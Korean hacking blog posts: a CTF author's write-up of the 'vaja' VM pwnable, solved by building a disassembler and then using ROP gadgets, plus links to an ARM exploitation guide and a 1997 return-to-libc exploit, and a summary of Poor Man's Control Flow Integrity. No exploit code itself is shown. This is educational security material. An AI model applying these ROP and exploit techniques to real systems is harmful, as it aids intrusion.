vaja_source.py에 있는 make_vaja.py를 실행하면 target바이너리가 생성된다


문제를 제작하면서 검수할땐 어셈블러에서 주소를 출력해주기 때문에

바로 ROP 가젯을 이용해 ROP를 했는데

실제로 문제를 풀땐 opcode의 구조를 분석해 디스어셈블러를 직접 만들어서 풀어야 하는 문제였다

이 과정이 최소 3시간은 걸리지 않을까 싶어서 빠르면 다섯시간안에 문제가 풀리겠다고 생각하고 있었는데

정원이랑 PPP에서 2시간만에 풀어서 소름돋았다

정원이한테 물어보니 의도치 않은 쉬운풀이가 아니라 정석대로 생각한대로 풀었는데도

소오오오르으으음;;;;


아인슈타인 사진에 대해 얘기를 하자면

가상화 문제를 풀때 pintool같은걸 이용해서 인스트럭션핸들러가 호출될때 실행되는 opcode를 로깅해서 푸는경우가 있는데

아인슈타인사진은 무려 2294바이트가 되고

루프 코드에 4개의 opcode가 있기 때문에

약 9000개의 무의미한 opcode가 로깅되게 된다

아인슈타인 사진은 pintool을 사용하지 않고 디스어셈블러를 직접 만드는 방향으로 유도하기 위해 삽입했다


vm escape가 가능한건 맞는거같은데 익스짜보기가 무서워서

일부러 만들어둔 pop r4~r1, fp, ret 가젯과 syscall;ret 가젯을 이용해 풀었다

exploit.py




카이스트 곤 팀으로 푸신 은수형과 형석형께 물어보니 곤도 디스어셈블러까지 다 짜는데는 2시간걸렸다고 한다

디스어셈블러만 다짜면 익스플로잇은 5분내로 되는거라 그냥 차라리 플래그이름을 예상하기 힘들게해 vm escape로 유도할걸 그랬다

이문제가 쉬운이유는 플래그이름이 flag이기 때문이다 ( 익스플로잇 참고 )

신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20

설정

트랙백

댓글

ARM exploit 자료 추천

크리에이티브 커먼즈 라이선스
Creative Commons License

syssec에서 같이 일하는 재일이가 분석하는 장비가 arm보드위에서 돌아가는거라 자료를 추천해달라고 해서

딱 이게 생각나서 찾아봤더니 하드에 다행히 있었다

처음 arm을 이걸로 접했었는데 도움이 많이됐었다

추천추천

https://drive.google.com/file/d/0B_sx6nhKufWqRTdZemNETVhxVWM/view?usp=sharing

신고

'해킹공부 > 시스템 해킹' 카테고리의 다른 글

ARM exploit 자료 추천  (0) 2015.07.06
RTL을 사용한 최초의 exploit  (0) 2015.07.01
Control Flow Integrity 정리  (0) 2015.06.22

설정

트랙백

댓글

RTL을 사용한 최초의 exploit

크리에이티브 커먼즈 라이선스
Creative Commons License

solar designer가 1997년에 공개한거라는데

8월이면 내가 태어난지 한 200일됐을때 ㄷㄷㄷ

http://insecure.org/sploits/linux.libc.return.lpr.sploit.html


http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html

이 블로그 보다가 발견한건데

20년이 된 익스플로잇인데도 익스플로잇이 멋있다

파이썬은 익스플로잇이 대부분 간결하고 개발자적인 익스플로잇이 많다면

옛날 C로 짜여진 익스플로잇들은 뭔가 해커스럽고 보는게 재밌다

껄껄

신고

'해킹공부 > 시스템 해킹' 카테고리의 다른 글

ARM exploit 자료 추천  (0) 2015.07.06
RTL을 사용한 최초의 exploit  (0) 2015.07.01
Control Flow Integrity 정리  (0) 2015.06.22

설정

트랙백

댓글

Control Flow Integrity 정리

크리에이티브 커먼즈 라이선스
Creative Commons License

CFI CFG가 작년에 이슈길래 들어는 봤었는데 ROP를 막을수 있는 기법이라고 해서

막연히 어렵게만 생각하다가 문제를 출제할일이 생기면서 CFI가 적용된 문제를 내면 재밌을것 같아서 조금 찾아봤는데 생각보다 엄청쉽다

논문까지 볼 시간은 없어서 옛날에 스크랩해둔 박세준님의 블로그 글을 다시 읽어봤다

https://www.bpak.org/blog/research/

위 링크의 Poor Man's Control Flow Integrity 를 읽으면된다

원문도 워낙 간단명료하게 설명되있지만

영어 문장이 세문장이상을 넘어가면 현기증을 느끼는 사람들을 위해 간단히 정리하자면

(Control Flow Integrity와 Control Flow Guard에 대한 정리가 아니라 Poor Man's Control Flow integrity에 대한 정리이다)

CALL_TAG와 RET_TAG가 있고 call과 ret전에 TAG verification 절차가 추가된다


CFI 적용전에 코드가 아래와 같다면 ( 아래 코드가 문법에 맞는진 모르겠다 )

main:

push ebp

mov ebp, esp

push 3

push 5

call add

add esp, 8

push eax

push $fmt

call printf

add esp, 8

add:

mov dword ptr [ ebp + 4 ], eax

add eax, dword ptr [ ebp + 8 ]

ret

fmt db "5+3 = %d\n", 0

이 코드는 CFI가 적용되지 않은 상태이다

물론 취약점도 없는 코드지만 CFI자체에 대한 설명을 위한것이니 넘어간다

이 코드에 PMCFG를 적용시키고 원문에서 사용한 태그와 똑같은 태그를 적용시킨다고 하면

ret과 call 인스트럭션 전에 각각 CALL_TAG와 RET_TAG에 대한 validation 코드가 추가된다


main:

[CALL_TAG]

push ebp

mov ebp, esp

push 3

push 5

[CALL_TAG validation for add()]

call add

[RET_TAG]

add esp, 8

push eax

push $fmt

[CALL_TAG vaildation for printf()]

call printf

[RET_TAG]

add esp, 8

leave

[RET_TAG validation]

ret

add:

[CALL_TAG]

mov dword ptr [ ebp + 4 ], eax

add eax, dword ptr [ ebp + 8 ]

[RET_TAG validation]

ret

fmt db "5+3 = %d\n", 0


이 기법은 쉘코드를 사용할 수 있는 non NX 환경에서는 쓸모가 없지만

ROP를 써야할 경우엔 조금만 생각해봐도 충분히 효과가 있는 방법이고

자세히 보진 않았지만 CFG를 다룬 발표들에서도 CFG가 적용되지 않은 이미지를 이용해서 우회하는 방법만 소개하는걸 보면

효과가 좋은 방법은 맞는것 같다


for further reading: ( 계속 보게 된다면 좋은거 볼때마다 업데이트 )

http://www.powerofcommunity.net/poc2014/mj0011.pdf

신고

'해킹공부 > 시스템 해킹' 카테고리의 다른 글

ARM exploit 자료 추천  (0) 2015.07.06
RTL을 사용한 최초의 exploit  (0) 2015.07.01
Control Flow Integrity 정리  (0) 2015.06.22

설정

트랙백

댓글


티스토리 툴바